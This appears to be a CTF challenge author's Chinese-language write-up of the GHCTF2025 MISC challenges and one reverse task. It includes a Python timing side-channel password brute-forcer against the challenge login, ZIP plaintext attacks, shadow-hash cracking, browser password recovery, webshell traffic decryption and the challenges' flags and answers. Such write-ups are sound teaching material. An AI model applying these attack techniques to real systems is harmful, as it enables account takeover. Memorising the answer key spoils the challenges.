GHCTF2025 MISC出题笔记

前言

本次GHCTF我负责了全部MISC方向的题目,顺便搓了一题REVERSE的Canon。MISC的题目难度稍微放飞了一些,就是要狠狠打击新生学杂项的兴趣,让小登们先去学学其他方向先,毕竟你把其他方向学了MISC也就会了:(。

因此本次MISC出题目的与重心在于:尽可能减少脑洞的含量,限制套娃层数,尽可能少用工具出题,劝退新生别来学杂项。

从校内外的解题情况看来,老登解起这些题也并不那么轻松,小登更是大部分折戟,说明效果还是非常好的:)。

题目解析

第一批 - mybrave

难度:签到 考点:明文爆破、图片文件尾隐写

笑点解析:描述是真的,本来不打算出这题,是出题人看芙莉莲入脑后出的。

题解

注意到压缩包使用的储存方法是Store,加密算法是ZipCrypto,加密的文件是png图片,如果是老登应该马上就意识到用明文爆破了。

拿到秘钥后97d30dcc 173b15a8 6e0e7455解密,得到一张图片(辛芙名场面),010查看文件尾:

一眼base64:

知识点

  1. 明文攻击并不需要得知其中完整的一个文件,知道至少 12 个字节的已知明文的话就可能可以使用明文攻击(其中8字节需要连续,需要知道已知字节的偏移)。
  2. 使用这类明文攻击要求压缩包的压缩方式是ZipCrypto:Store或者ZipCrypto:Deflate。
  3. PNG图片的前 16 个字节基本是固定的。

第一批 - myleak

难度:中等 考点:路径泄露、时间侧信道、github被删除分支的获取

笑点解析:灵感来源SUCTF2025,《偷偷塞国际赛题》

 题解

根据描述:

粗心大意的mrl64为了保护flag搭建了一个认证网站,但是很烦爬虫的他写了一个协议防止文件被爬,结果这却是他泄露的开始。

可以很明显知道这指向了robots.txt:

这里指向了一个github页面,访问进去会发现是题目环境的源代码

我们可以审计一下app.py中的源代码,可以发现这个部分:

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        PASSWORD = request.form.get('password')
        if len(PASSWORD) != len(CORRECT_PASSWORD):
            return render_template('login.html', error='密码长度错误')
        for i in range(len(PASSWORD)):
            if PASSWORD[i] != CORRECT_PASSWORD[i]:
                return render_template('login.html', error='密码错误')
            time.sleep(0.1)
        session['logged_in'] = True
        session['username'] = generate_random_username()
        return redirect(url_for('index'))
    return render_template('login.html')

此处判断登录是否正确的逻辑和常见的并不一样,这里的逻辑是将输入的密码与正确密码进行逐位比较,每一次比较成功都会延迟0.1秒,这是一个比较明显的时间侧信道。

这里密码的字典可以直接猜,因为密码就10位,哪怕放大字典比较多也可以在一个可以接受的时间爆破出来。当然如果你有注意到issue:

就可以知道密码实际上只有字母。

综上,写一个exp爆破登录密码:

import requests
import time
import string

def find_password_length(url):
    for length in range(1, 20):
        data = {'password': 'a' * length}
        try:
            response = requests.post(url, data=data)
            if '密码长度错误' not in response.text:
                return length
        except:
            continue
    return None

def brute_force_password(url, length):
    correct = []
    with requests.Session() as s:
        for i in range(length):
            max_time = 0
            best_char = None
            
            char_set = string.ascii_lowercase + string.ascii_uppercase
            
            for c in char_set:
                guess = ''.join(correct) + c + 'a' * (length - i - 1)
                data = {'password': guess}
                
                total_time = 0
                valid = False
                
                for _ in range(3):
                    try:
                        start = time.perf_counter()
                        response = s.post(url, data=data)
                        end = time.perf_counter()
                        
                        if '密码错误' not in response.text:
                            print(f"\n[!] Password found: {guess}")
                            return guess
                            
                        if '密码错误' in response.text:
                            total_time += (end - start)
                            valid = True
                    except:
                        continue
                
                if not valid:
                    continue
                    
                avg_time = total_time / 3
                expected_time = (i + 1) * 0.1  # 预期时间阈值
                
                #print(f"Trying '{c}': {avg_time:.3f}s (expected: {expected_time:.1f}s)", end='\r')
                
                # 寻找最接近预期时间的字符(允许±0.05秒误差)
                if avg_time >= expected_time - 0.05 and avg_time > max_time:
                    max_time = avg_time
                    best_char = c
            
            if best_char:
                correct.append(best_char)
                print(f"\n[+] Found char {i+1}/{length}: {best_char} ({''.join(correct)})")
            else:
                print(f"\n[-] Failed at position {i}")
                return None
    
    return ''.join(correct)

if __name__ == "__main__":
    target_url = "http://127.0.0.1:8080/login"
    
    print("[*] Determining password length...")
    pwd_length = find_password_length(target_url)
    
    if pwd_length:
        print(f"[+] Password length: {pwd_length}")
        print("[*] Starting password brute force...\n")
        password = brute_force_password(target_url, pwd_length)
        
        if password:
            print(f"\n[!] Successful! Password: {password}")
        else:
            print("\n[-] Failed to brute force password")
    else:
        print("[-] Failed to determine password length")

得到密码:sECurePAsS

登录系统,跳转到页面要求我们进行安全认证。点击开始认证后提示当前账号不受信任,需要输入管理员中邮箱的认证码,因此接下来的目标就是要找到管理员的邮箱。

根据上文提到的issue,提示了邮箱是在一个测试分支被泄露了的,但是这个分支被删除了,我们可以通过Activity功能查看:

在此就可以获取到管理员的邮箱。ourmail是一个类似于群组的邮箱,加入需要密码,issue也告诉我们进行了密码复用,那么我们就拿刚刚的登录密码进行认证,进入界面:

ps. 原计划是使用163邮箱,但考虑到可能存在的例如删除邮件,发送大量无用邮件等恶意行为,故改用此邮箱。

将认证码输入后提交,拿到flag。

知识点

  1. 在未来的开发过程中,要考虑到敏感信息泄露的发生并防止。
  2. 如何利用时间侧信道爆破出密码。
  3. 如何查看github中被删除的分支。

第一批 - mydisk

难度:问题1/3/5中等,问题2/4/6简单

考点:Linux用户密码获取、定时任务、foxmail获取

笑点解析:《没有脑洞,全是技术》

题解

本体解题基于FTK Imager进行。

问题1:mrl64的登录密码是什么?

Linux系统的账号信息存储在 /etc/passwd 这个文件中,而密码哈希存储在 /etc/shadow 中,把这两个文件提取出来,然后把需要爆破的信息整合出来:

l0v3miku:$y$j9T$Me1sc6HllhxzlxG2YpNXi0$8oums.4ZpbnCsK0a.lmkodOFeCtpC2daRGLz.jAoKI0:1000:1000:l0v3Miku,,,:/home/l0v3miku:/bin/bash

 最后用john+rockyou.txt爆破一下:

问题2: mrl64设置了一个定时任务,他每多少秒向什么地址发送一个请求?

用户自行设置的定时任务可以在2个地方查看,首先是 /etc/crontab:

这里可以发现定时任务是每2分钟执行一次。

还可以在 /var/log/cron.log 定时任务的日志中查看:

根据这个运行时间差也可以发现是每2分钟运行一次。

定时任务执行了 /usr/local/share/xml/entities/a.py,跟进看看:

拿到目标的url。

问题3:有人发送了一封邮件给mrl64,你能获取到邮件中的flag吗?

这台Linux安装了wine,这是一个让一些Windows软件可以在Linux环境下运行的一个工具,路径在 /home/l0v3miku/.wine 中,注意到安装了一个foxmail:

其中foxmail的核心在于 Storage 和 FMStorage.list,把这两个文件提取下来,我们在本地装一个foxmail,不要启动,之后把这两个文件贴到本地的foxmail上:

再打开foxmail,这样我们就可以查看到邮箱的信息了:

然后每日字符串这么重要的东西,不出意外就是放在桌面里了(:

邮件发送是在2025年1月25日,那天是星期六,爆破一下剩下的四位数字:

解压压缩包拿到答案。

问题4:mrl64的这台电脑的系统名是什么?

这题很多人的答案并不是很完整,完整的版本应该是 /etc/issue 下的这个:

这里的示例 Ubuntu 18.04.5 LTS 也有点暗示,因为Ubuntu系统这个系统名也是要在上面这个路径才能看到。

问题5: 你知道mrl64的ctfshow的账号密码吗?

火狐在Linux中的默认路径是 /home/l0v3miku/.mozilla/firefox,本道题目的所需要的信息存在 spk3lcsa.defalut-release/login.json中:

但是这里面的密码是加密了的,此处加密原理有兴趣的可以自行去搜索。有很多工具和方法可以解决,这里只介绍一种个人认为最简单的方法。

直接把spk3lcsa.defalut-release整个文件夹dump下来,用firefox打开:

./firefox.exe -profile ./spk3lcsa.default-release

随后firefox就会读取这个目录并作为配置打开,我们直接在打开的浏览器中查看密码:

问题6:mrl64的电脑上有一个docker容器,其环境里存储了一个重要信息,你知道是什么吗?

这题也比较简单,docker的容器信息默认保存在 /var/lib/docker/containers 中,这题的重要信息在环境变量中,直接看 config.v2.json 就行了:

知识点

  1. 如何获取Linux用户密码哈希并爆破
  2. 定时任务信息的获取,定时任务的格式
  3. foxmail信息的获取
  4. 如何利用纯文件查看系统名
  5. firefox密码本信息的获取
  6. docker容器的环境变量获取

第二批 - mycode

难度:简单 考点:简单算法、pwntools基础

笑点解析:《没有脑洞,全是技术》×2

题解

很简单的一个算法题,要求就是把所有的数字拼在一起找到一个最小的数字。这题主要需要注意的事会给出0、00等开头的数字,需要进行特别处理。

出题人是利用了python的cmp_to_key,模拟了c++中的sort实现的算法:

from pwn import *
from functools import cmp_to_key

def cmp(a, b):
    return -1 if a + b < b + a else (1 if a + b > b + a else 0)

def solve(nums):
    nums.sort(key=cmp_to_key(cmp))
    out = ''.join(nums)
    
    idx = 0
    while idx < len(out) and out[idx] == '0':
        idx += 1
    
    return "0" if idx == len(out) else out[idx:]

context(arch = 'amd64', os = 'linux')
io=remote('node4.anna.nssctf.cn', 28206)
context.log_level = 'debug'

for _ in range(100):
    io.recvuntil(b"Numbers: ")
    numbers = io.recvline().strip().decode().split()
    ans = solve(numbers)
    io.sendline(str(ans))

print(io.recvall())

知识点

  1. 学网安也得会一些基本的算法,不要就吊死在ctf上。
  2. pwntools的简单应用

第二批 - mymem

难度:问题6困难,问题1/2/3中等,问题4/5简单

考点:内存取证、内存池

笑点解析:《没有脑洞,全是技术》×3

题解

问题1:mrl64发现有人在他的电脑上偷偷下载了些什么,你能拿到其中的pass1吗?

可恶啊这题被人非预期了。非预期解法在于去逆向 zTuS2beK.cpython-38.pyc,逆向出来就有pass1了。这里对这种做法不做展开,主要介绍预期解。

不管怎样,先用imageinfo确定操作系统:

确定为Win7SP1x64。题目中提到了下载,我们用filescan搜索Download下有哪些文件:

发现存在一个py文件,我用vol2的dumpfiles无法提取出这个python文件,不知道是什么问题。这里可以用vol3提取:

文件内容如下:

import os
from zTuS2beK import *
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

m = bytes_to_long(hint)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
gift = p + q
e = 0x10001

c = pow(m, e, n)
print(c)
print(n)
print(gift)

key = bytes(os.environ.get('key1'),'utf-8')
iv = key2
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(pass1, AES.block_size))
print(ciphertext.hex())

我们从这个代码中可以获取到几个信息:

  1. 我们需要的pass1以key1作为key,key2作为iv,进行了AES-CBC加密。

  2. key1储存在环境变量中。

  3. 有一条hint信息被RSA加密了。

因此key1的值是很容易就获取到的,利用envars就可以了:

接下来我们要获取到运行python打印下来的数据,利用vol2的consoles插件:

解RSA查看提示:

from Crypto.Util.number import *

c = 1400179448170160901777984261356136816421259678634186234800548164604721561950752149278912888639540230451839369688719100627125995630354273502444917063081792605532942679942734303593315990502342950818695801997289660669246254753242332766317458238196942167729159797768349044195623062009631851058833927729983425763067986909553391529826887262891110215131336835590583533222824039285768705304651803321445988462276830300266158521364250706560295924366891782274569907883242002503537556683839861422280252669752865981615122456647803225317726735911332946550204846342148305034160834276423884342303117079974915360602260017210053528482
n = 15175520534679002401099153786691996610741724366644767970294199461360625506670171913338589039152214895294767917890798724568618531606894365169113202009259633834315756652454132246792149018594302460891179470171241088353871877080366027935349196336898322210730188776165117802924501882037765393630874995246915354414443559998797482588215874690894626058357431461373522869795226721240090051653394481285860156873159682585612103818628144769902165112510160559987388774138249922879869619217978860769587704190173087676894796444906777850672706288511866529372278651771664270836898995768267656486884336654639609908953323507644498411023
gift = 247639009122157182017210506908150196121475654883144441160835207415862524706603519648944134008994477247790469303208261164898422577074886864249418175498627191513807560589950050228417256847246940316353851273334053091590328552656456770420229829795617747846458452568310499592113778421666174094718840643940713124864
e = 0x10001

phi = n - gift + 1
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

#b'hint{key2_is_my_login_password_repeated_twice}'

 这里提示告诉我们key2是登录密码重复2次,用mimikatz插件或者passware kit爆破都可以:

因此key2就是P@ssW0RdP@ssW0Rd,解密即可得到pass1:

问题2:mrl64很喜欢用Windows自带的画图软件画画,这次他情不自禁地把pass2也给画上去了,但是他还没关掉画图软件就去吃饭了。那么你看到pass2了吗?

利用正在运行的进程,使用GIMP可以调用出桌面的画面,比如此处我们把calc(最好是在桌面上运行的程序,可以使用screenshot查看)这个进程dump出来:

后缀改为data.GIMP打开并调整分辨率和位移:

获取到pass2。

问题3:你知道mrl64电脑的产品ID是什么吗?

产品id是储存在SOFTWARE注册表中的,我们把注册表提取出来(Linux下提取可能存在一些问题,可以在windows下提取):

随意操作注册表很危险,可以找一个注册表查看器:

问题4:mrl64的电脑里似乎有一个奇怪的进程正在运行,这个进程的物理偏移值是多少?

这个进程是mal.exe。pslist看到的是虚拟偏移,这里问的是物理偏移,因此需要用psxview查看:

问题5:这个奇怪的进程总共运行了多少次?其窗口被作为焦点总共多长时间?

这个问题也十分简单,用userassist找一下mal.exe的信息就可以了:

问题6:这个奇怪的进程的PoolTag是什么?

前面2题这么简单那是因为这一题来了个大的,要你去找一下这个进程的pooltag。pooltag在内存池的_POOL_HEAD中,我们需要用volshell来提取。

理论分析参考:

内存取证原理学习及Volatility - 篇二 - XDforensics-Wiki

首先你要知道内存池的规划:

然后我们要知道内存池各部分的大小:

  • pool_header: 0x10 byte.
  • Optional_header不确定
  • object_header: 0x30 bytes.
  • object_body:对象类型本身的大小

也就是说我们第一题找到的这个偏移量对应的部分为object_body的头。

首先我们通过上升字节来获取对象标头上下文:

dt( "_OBJECT_HEADER" , 0x000000007fca3820-0x30 , space=addrspace().base)

在这里我们发现了Infomask的值为0x8,这个选项决定了Optional_header是什么:

本题中是Quota,大小为32bytes,因此我们计算出了需要上浮的字节大小为0x60,使用dt命令查看内存池的头:

dt( "_POOL_HEADER" , 0x000000007fca3820-0x60 , space=addrspace().base)

此处这里的pooltag还不是ascii形式,将其转化为hex,并且注意小端序存储。答案应该是 \x50\x72\x6f\xe3

知识点

  1. 熟练使用vol进行内存取证,学习如何利用vol提取文件、环境变量、注册表等信息
  2. 如何利用进程文件提取出桌面的内容
  3. 注册表信息的读取
  4. 进程的虚拟偏移地址与物理偏移地址的区别,进程的信息
  5. 内存池

第三批 - mypixel

难度:简单  考点:像素信息提取,汉信码

笑点解析:传统图片隐写,描述就是提示

题解

 这是所有misc题目里第一个出完的,非常简单。

题目给了一个png,图片解码域没有实质性内容,都是像素点,编码域也没发现隐藏什么信息,宽高CRC校验也正确。

那么结合题目名称,可以想到需要去提取解码域中像素的信息,那么这张图花里胡哨的,我们可以去尝试提取RGB信息。编写个脚本提取下第一、二个像素的RGB:

from PIL import Image

image_path = "attachment.png"
image = Image.open(image_path)
pixels = list(image.getdata())

print(pixels[0])
print(pixels[1])

转化为hex就是50 4b 03 04 14 00,显然是zip的文件头,那我们就提取整个图片的像素RGB并合并成zip解压:

from PIL import Image
import zipfile
import io

image_path = "attachment.png" 
image = Image.open(image_path)
pixels = list(image.getdata())

byte_data = bytearray()
for pixel in pixels:
    if isinstance(pixel, tuple):
        byte_data.extend(pixel[:3])
    else:
        byte_data.append(pixel)

try:
    zip_data = io.BytesIO(byte_data)
    with zipfile.ZipFile(zip_data) as zf:
        zf.extractall("output")
        print("sucess")
except zipfile.BadZipFile:
    print("error")

当然还有更简单的方法:

解压后得到了又一张图片,这张图片只有黑色和白色像素,同理也需要提取像素信息。黑白很容易想到二进制,写一个脚本转化一下,黑对应0,白对应1:

from PIL import Image

def extract_pixels(image_path):
    img = Image.open(image_path)
    img = img.convert('L')
    
    width, height = img.size
    pixels = []
    
    for y in range(height):
        row = []
        for x in range(width):
            pixel = img.getpixel((x, y))
            binary_pixel = 1 if pixel < 128 else 0
            row.append(binary_pixel)
        pixels.append(row)
    
    return pixels

image_path = "output.png"
result = extract_pixels(image_path)

for row in result:
    print(''.join(map(str, row)))

发现还是一张图片,是汉信码,在线扫码即可获取flag:

知识点

  1. 图片的编码域与解码域,了解一些cv相关的知识
  2. 如何利用python提取像素点并读取其中的信息(例如RGB)
  3. 二维码≠QR码,多去看看二维码有哪些

第三批 - mywav

难度:简单  考点:频率分析、维吉尼亚、oursecret

笑点解析:传统音频隐写,描述就是提示

 题解

拿到一个wav音频文件,听一下直接耳膜爆炸,因此我们拿AU看一下情况:

发现其频谱图的频率很有规律,高频和低频交叉,可以猜测此处是二进制,高频为1,低频为0。高频频率在600-800Hz之间,低频频率在200-400Hz之间,因此可以使用500Hz进行分割,每个频率持续0.01s:

编写脚本,提取频率信息:

import numpy as np
from scipy.io import wavfile

def extract_binary_from_wav(file_path, threshold_freq, output_path):
    sample_rate, data = wavfile.read(file_path)
    
    if len(data.shape) > 1:
        data = data[:, 0]
    
    window_size = int(sample_rate * 0.01)  # 10ms窗口
    binary_data = []

    for i in range(0, len(data), window_size):
        window = data[i:i + window_size]
        if len(window) < window_size:
            break

        fft_result = np.fft.fft(window)
        freqs = np.fft.fftfreq(len(window), d=1/sample_rate)
        
        magnitude = np.abs(fft_result)
        
        max_index = np.argmax(magnitude[:len(magnitude)//2])
        dominant_freq = freqs[max_index]

        binary_value = 1 if dominant_freq >= threshold_freq else 0
        binary_data.append(binary_value)

    with open(output_path, "w") as f:
        binary_string = "".join(map(str, binary_data))
        f.write(binary_string)
    print(f"提取的二进制数据已保存到 {output_path}")

file_path = "attachment.wav"
output_path = "output.txt"
threshold_freq = 500  # 设定高低频的分界点
extract_binary_from_wav(file_path, threshold_freq, output_path)

提取出来的内容:

YbAgLvWkQbFp qk k 2021 Gfgbyue gxriobzqgx hpyau utnkxmgz Jpwx Dfcmocn ngj Bn Flvytmc. Gh cu bnlkh hg apw Mlglsmg nbokp Lxjzwdw gl hbg Lnmzmvx. Apw cipgsm ciexj sg Fhvyy XT dfio Ahzawm 10 nubav Eseimv 26, 2021.

Tux yikbla zkw qsfjcsfxj e vntcdkxgts pkejxxwabw wx 1.3 lmjjwip apkuwl ohzayyq nzuvfbksw, bgjtmnmle Aupgb MB'w whtmkdma ydjniptzmhg, FwmDyzc, ohf Tutoptgk BjeiGB.

Gspoclow

Mal awbmcq hynlf mni lmvzq yj y qijgrvhx egw bvjepw aogruf fgpx zvl Rrss Qwswe (Pakr Salgmkr) ylr u jenwyxkhuo, kdyzzclp, aaw rsoxsg Usrbcfynln zove, Wpvy Hmyl (Lo Oeazpmx). Yywe liglu gwthtrpr xekdewgts ncbyxsemxz il cgfmcf vo oxisfbuo wkgf mhbgr'f eojxevvy msknohkoal or malqj tsspbya tukuyza fwmdl. Yjhbquta zlxr jwmvhl'r gncnq xgga hapwb er dwlut, gakc vhtm ly ennfyeinmk itvo wlrip'q gnteazzll bu bzomp bos-vo-qte mgmlzsmxgmbm. 

Oavg

Ilxg Gpwiyyl om Bhbn Ymrnl
I qyyle, vupdfhsi lvowdkv ufc yzuqxy eg tpz gp ejmczpefl grw bubwvpgeshee. Qxytbml pac gmjr upd qbyxtga mpdipgcl, je chywxlzmk k kclhfg aaw jimxyuaxib lonwrr mnem wyqnow fga nq phkyyx apa axrcpaiut qxymkxz. Qf dlc dowg os ygqbef kzkpjcbags, ux xiftpvk biqmzove vg nml ibzkemr mt bks qkkefl.

Ec Eorehwy cs Qbtk Qbhv
Sx yluopgrvgm egw kmlovkgbyf ybntk phtif glm lspgr gnxrl tdiq pvmk qbclyxtkxl bvlsp qfs zccrl gr bgzcjwsslhudlr hhwmtjtw. Rip jwzg uawkvpxub s nvykonkc gkgrlyvzekxgmb qjea lni kxswukxcb tlqm n lseee awox xm Qvyphnb Immr. Pvxvyclqyf bl akv rhbbzpyj gajwlfbbigxza kri qfcqeafx nik ypmjmi bchytmvggxbhu ifn yluopgrvgm tnkzcad sd fsl ioney.

Whflbzsre Nomuwbkj

WhecmA7DsE3rTf4i

数字看起来没有被替换,但字母都被替换了,长度也比较长,符合维吉尼亚无秘钥攻击(原理大概是基于字频)的条件,进行尝试:

AnGeLiDeMiMi is a 2021 Chinese television drama starring Chen Zheyuan and Xu Mengjie. It is based on the Chinese novel Secrets in the Lattice. The series aired on Mango TV from August 10 until August 26, 2021.

The series has surpassed a cumulative viewership of 1.3 billion across various platforms, including Mango TV's domestic application, YouTube, and Thailand TrueID.

Synopsis

The series tells the story of a superior and unruly campus male god Zhou Siyue (Chen Zheyuan) and a headstrong, stubborn, and lovely Cinderella girl, Ding Xian (Xu Mengjie). From being mutually exclusive tablemates at school to becoming each other's lifelong companions in their journey through youth. Although they couldn't stand each other at first, they come to appreciate each other's strengths in their day-to-day interactions. 

Main

Chen Zheyuan as Zhou Siyue
A young, handsome scholar who exudes an air of aloofness and intelligence. Despite his cold and distant exterior, he possesses a gentle and determined nature that drives him to pursue his innermost desires. In the face of family challenges, he remains resolute in his pursuit of his dreams.

Xu Mengjie as Ding Xian
An unwavering and determined young woman who never turns away from challenges until she faces an insurmountable obstacle. Her life underwent a dramatic transformation when she relocated from a small town to Shenhai City. Influenced by her youthful impulsiveness she showcase her fierce determination and unwavering pursuit of her goals.

Something Password

SolveI7ToG3tFl4g

拿到了一个password:SolveI7ToG3tFl4g,这里有一个oursecret隐写(用这个隐写纯属是因为这个是一个特征较为明显的隐写方式,方便你去查。),2个方法判断。

第一个方法,注意到这个维吉尼亚解出来的文字,是一个电视剧暗格里的秘密的英文wiki介绍,你直接去搜索这段文字就会发现这个电视剧的英文名就叫oursecret。

第二个方法,观察wav文件的编码域,在结尾部分有多出来一个内容:

你去搜索这个多出来的内容的头9E 97 BA 2A,也可以发现这是oursecret隐写的典型特征:

用这个密码解隐写即可:

知识点

  1. 一个音频文件的基本组成是什么,可以思考思考除了频率还可以在什么地方进行隐写
  2. 如何用AU等软件查看音频的基本信息,用AU对音频文件进行调整
  3. 如何用pyhton处理音频文件,比如剪切,信息提取等操作
  4. 遇到一个陌生的隐写方式如何用特征或者提示去确认

第三批 - mypcap

难度:中等  考点:溯源分析,网络攻击,数据库,webshell

笑点解析:本来这题不是我出的,但是那个出题人出题的时候发烧了,只能我来了

 题解

问题1:请问被害者主机开放了哪些端口?提交的答案从小到大排序并用逗号隔开

注意到数据包一开始就是扫描行为:

通过这个部分我们可以发现根据扫描结果的不同,SYN的值是不一样的,这是典型的nmap的SYN半开扫描,我们过滤SYN = 0的数据包:

可见开启的端口是22,3306和8080.

问题2:mrl64喜欢把数据库密码放到桌面上,这下被攻击者发现了,数据库的密码是什么呢?

继续看流量,有一段目录扫描没什么用,然后是登录tomcat,接着上传了一个恶意war包,然后进行了通信,以其中一个包为例:

如果你是老登,那你应该可以丁真这是冰蝎马,如果不知道也没关系,我们可以提取出这个wenshell:

经典冰蝎马,拿到密钥。

数据库密码就在其中的一个交互中,这个马是标准马,使用AES解密即可:

问题3:攻击者在数据库中找到了一个重要的数据,这个重要数据是什么?

数据库mysql数据,这题可以硬找,也可以猜一下,比如搜索关键词data、info等:

知识点

  1. nmap的流量分析,除了SYN扫描之外,你知道如何分析其他类型的扫描流量吗?
  2. 冰蝎马解密,除此之外常见的还有蚁剑马、哥斯拉马以及各类型的变种(cscs警告)
  3. 数据库流量的简单分析

第三批 - Canon(reverse)

这道题目主要提供了灵感和算法,一些细节完善是由另一位出题人做的,这里就简单讲一下思路和灵感来源。这道题目是在看《卡农 可视化》这个视频的时候想到的,题目结合了卡农这个作曲手法的特征、引入了卡农和弦、形成了一场三小提琴 + 一大提琴的优雅演奏。

一切尽在代码中:

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *func_encode(int *input, int length)
{
    static const char chars[] = "stuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqr";
    char *output = (char *)malloc(length * 2);
    int val = 0, valb = -6;
    int out_index = 0;
    for (int i = 0; i < length; i++)
    {
        val = (val << 8) + input[i];
        valb += 8;
        while (valb >= 0)
        {
            output[out_index++] = chars[(val >> valb) & 0x3F];
            valb -= 6;
        }
    }
    if (valb > -6)
        output[out_index++] = chars[((val << 8) >> (valb + 8)) & 0x3F];
    while (out_index % 4)
        output[out_index++] = '=';
    output[out_index] = '\0';
    return output;
}

void encrypt1(char *input, char *key, int *output)
{
    int S[256], i, j = 0, k;
    for (i = 0; i < 256; i++)
        S[i] = i;
    for (i = 0; i < 256; i++)
    {
        j = (j + S[i] + key[i % strlen(key)]) % 256;
        int temp = S[i];
        S[i] = S[j];
        S[j] = temp;
    }
    i = j = 0;
    for (int idx = 0; input[idx] != '\0'; idx++)
    {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        int temp = S[i];
        S[i] = S[j];
        S[j] = temp;
        output[idx] = ((input[idx] ^ S[(S[i] + S[j]) % 256]) + 0x39) % 256;
    }
}

void encrypt2(char *input, char *key, int *output)
{
    int S[256], i, j = 0, k;
    for (i = 0; i < 256; i++)
        S[i] = i;
    for (i = 0; i < 256; i++)
    {
        j = (j + S[i] + key[i % strlen(key)]) % 256;
        int temp = S[i];
        S[i] = S[j];
        S[j] = temp;
    }
    i = j = 0;
    for (int idx = 0; input[idx] != '\0'; idx++)
    {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        int temp = S[i];
        S[i] = S[j];
        S[j] = temp;
        output[idx] = (input[idx] ^ S[(S[i] + S[j]) % 256] ^ 0x39) % 256;
    }
}

void play(char *violin, char *bass, int mode)
{
    int len_v = strlen(violin);
    int len_b = strlen(bass);

    if (mode == 1)
    {
        for (int i = 0; i < len_v; i++)
        {
            int offset = bass[i % len_b];
            if (violin[i] >= 'A' && violin[i] <= 'Z')
            {
                violin[i] = (violin[i] - 'A' + offset) % 26 + 'A';
            }
            else if (violin[i] >= 'a' && violin[i] <= 'z')
            {
                violin[i] = (violin[i] - 'a' + offset) % 26 + 'a';
            }
            else if (violin[i] >= '0' && violin[i] <= '9')
            {
                violin[i] = (violin[i] - '0' + offset) % 10 + '0';
            }
        }
    }

    else if (mode == 2)
    {
        int a[] = {1, 3, 5, 7, 9, 11, 15, 17, 19, 21, 23, 25};
        for (int i = 0; i < len_v; i++)
        {
            if (violin[i] >= 'A' && violin[i] <= 'Z')
            {
                violin[i] = ((violin[i] - 'A') * a[i % 12] + bass[i % len_b]) % 26 + 'A';
            }
            else if (violin[i] >= 'a' && violin[i] <= 'z')
            {
                violin[i] = ((violin[i] - 'a') * a[i % 12] + bass[i % len_b]) % 26 + 'a';
            }
        }
    }

    else if (mode == 3)
    {
        int rails = bass[0] % 10 + 2;
        char **fence = (char **)malloc(rails * sizeof(char *));
        for (int i = 0; i < rails; i++)
        {
            fence[i] = (char *)malloc((len_v + 1) * sizeof(char));
            memset(fence[i], 0, (len_v + 1) * sizeof(char));
        }

        int col = 0;
        while (col * rails < len_v)
        {
            for (int row = 0; row < rails && col * rails + row < len_v; row++)
            {
                fence[row][col] = violin[col * rails + row];
            }
            col++;
        }

        int pos = 0;
        for (int i = 0; i < rails; i++)
        {
            for (int j = 0; j < col; j++)
            {
                if (fence[i][j] != 0 && pos < len_v)
                {
                    violin[pos++] = fence[i][j];
                }
            }
        }
        violin[pos] = '\0';

        for (int i = 0; i < rails; i++)
        {
            free(fence[i]);
        }
        free(fence);
    }

    else if (mode == 4)
    {
        int step = bass[0] % 10 + 2;
        for (int i = 0; i < step; i++)
        {
            char tmp = violin[len_v - 1];
            for (int j = len_v - 1; j > 0; j--)
            {
                violin[j] = violin[j - 1];
            }
            violin[0] = tmp;
        }
    }

    else if (mode == 5)
    {
        int *ascii_values = (int *)malloc(len_v * sizeof(int));
        for (int i = 0; i < len_v; i++)
        {
            ascii_values[i] = violin[i] ^ bass[i % len_b] + 0x39;
        }
        char *encoded = func_encode(ascii_values, len_v);
        strcpy(violin, encoded);
        free(ascii_values);
        free(encoded);
    }

    else if (mode == 6)
    {
        int *res = (int *)malloc(strlen(violin) * sizeof(int));
        encrypt1(violin, bass, res);
        char *encoded = func_encode(res, strlen(violin));
        strcpy(violin, encoded);
        free(res);
        free(encoded);
    }

    else if (mode == 7)
    {
        int *res = (int *)malloc(strlen(violin) * sizeof(int));
        encrypt2(violin, bass, res);
        char *encoded = func_encode(res, strlen(violin));
        strcpy(violin, encoded);
        free(res);
        free(encoded);
    }
}

int main()
{
    //char s[37] = "NSSCTF{P4ch3Lbel's_C@n0n_1n_D_mAjOr}";
    printf("Enter the flag: ");
    scanf("%36s", s);
    if (strlen(s) != 36)
    {
        printf("Invalid flag!\n");
        return 0;
    }
    char violin1[100], violin2[100], violin3[100];
    strncpy(violin1, s, 12);
    violin1[12] = '\0';
    strncpy(violin2, s + 12, 12);
    violin2[12] = '\0';
    strncpy(violin3, s + 24, 12);
    violin3[12] = '\0';

    int chord[] = {1, 5, 6, 3, 4, 1, 4, 5};
    int start_time[] = {0, 1, 2};
    int indices[] = {0, 0, 0};

    // play(violin1, violin2, 7);
    // printf("%s\n", violin1);
    for (int round = 0; round < 8; round++)
    {
        for (int i = 0; i < 3; i++)
        {
            if (round >= start_time[i])
            {
                int idx = indices[i];
                if (idx < 8)
                {
                    if (i == 0) {
                        play(violin1, violin2, chord[idx]);
                        printf("%s\n", violin1);
                    }
                    else if (i == 1) {
                        play(violin2, violin3, chord[idx]);
                        printf("%s\n", violin2);
                    }
                    else if (i == 2) {
                        play(violin3, violin1, chord[idx]);
                        printf("%s\n", violin3);
                    }
                    indices[i]++;
                }
            }
        }
    }
    // NSSCTF{P4ch3Lbel's_C@n0n_1n_D_mAjOr}
    printf("%s %s %s\n", violin1, violin2, violin3);
    if (strcmp(violin1, "8lk0Bzgop78hPek4xP//2+Xds7HjGdbh") || strcmp(violin2, "GW4NoM=5+=FaQB5w4wqOUQoU") || strcmp(violin3, "uBPtXpZ=7H9POL6JUpZ=7f5b"))
    {
        printf("Invalid flag!\n");
    }
    else
    {
        printf("Congratulations! You have found the flag!\n");
    }
    return 0;
}

尾杀

新生赛爆 0?

偷偷塞国际赛题?

出题人私货多?

老登来炸鱼?

哈哈,觉得眼熟? 这样的场景,此时此刻正在 CTF 各处上演✋ ️ 下一个可能就是你 除非你能做出生命中最重要的选择 向所有人证明,你有追求 flag 的力量和勇气!

